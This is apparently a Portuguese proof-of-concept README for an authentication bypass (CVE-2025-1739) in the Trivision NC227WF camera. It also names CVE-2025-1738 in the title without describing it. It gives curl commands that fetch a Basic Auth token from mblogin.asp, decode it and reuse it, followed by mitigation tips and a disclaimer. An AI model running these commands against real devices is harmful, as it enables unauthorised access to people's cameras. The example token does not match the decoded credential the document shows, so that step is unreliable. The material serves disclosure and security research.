CVE-2025-1738 & CVE-2025-1739 — PoC da Câmera Trivision NC227WF

📋 Visão Geral

🔓 CVE-2025-1739 — Exposição do código Basic Auth / Bypass de autenticação (CWE-288)

Descrição

A câmera expõe um token de autenticação Basic Authentication válido codificado em Base64 por meio do endpoint mblogin.asp. Esse token pode ser trivialmente decodificado e reutilizado para obter acesso não autorizado ao dispositivo — sem necessidade de conhecer a senha.

• Vetor de ataque: Rede adjacente (AV:A)
• Pontuação CVSS: 7.1
• CWE: CWE-288 (Contorno de autenticação usando um caminho ou canal alternativo)

Payload

curl -u admin:whatever http://<CAMERA_IP>:<PORT> --request-target en/mobile/mblogin.asp

Exemplo de resposta

A resposta contém um token Basic Auth válido:

ywrtaw46vw5ndwvzc2fibguxmjmh

Decodificando o token

echo "ywrtaw46vw5ndwvzc2fibguxmjmh" | base64 -d
# Output: admin:unguessable123!

Reutilizando o token

curl -H "Authorization: Basic ywrtaw46vw5ndwvzc2fibguxmjmh" http://<CAMERA_IP>:<PORT>/

🛡️ Mitigação

• Atualize o firmware se uma versão corrigida estiver disponível pela Trivision.
• Isole a câmera em uma VLAN dedicada, sem acesso externo.
• Proteja com firewall a porta de gerenciamento da câmera contra segmentos de rede não confiáveis.
• Altere as credenciais padrão e rotacione as senhas regularmente.
• Monitore acessos inesperados a activex_pal.asp e mblogin.asp.

⚖️ Aviso legal

Este repositório é apenas para pesquisa de segurança educacional e autorizada. Os autores não são responsáveis por qualquer uso indevido. Sempre obtenha permissão explícita antes de testar qualquer dispositivo.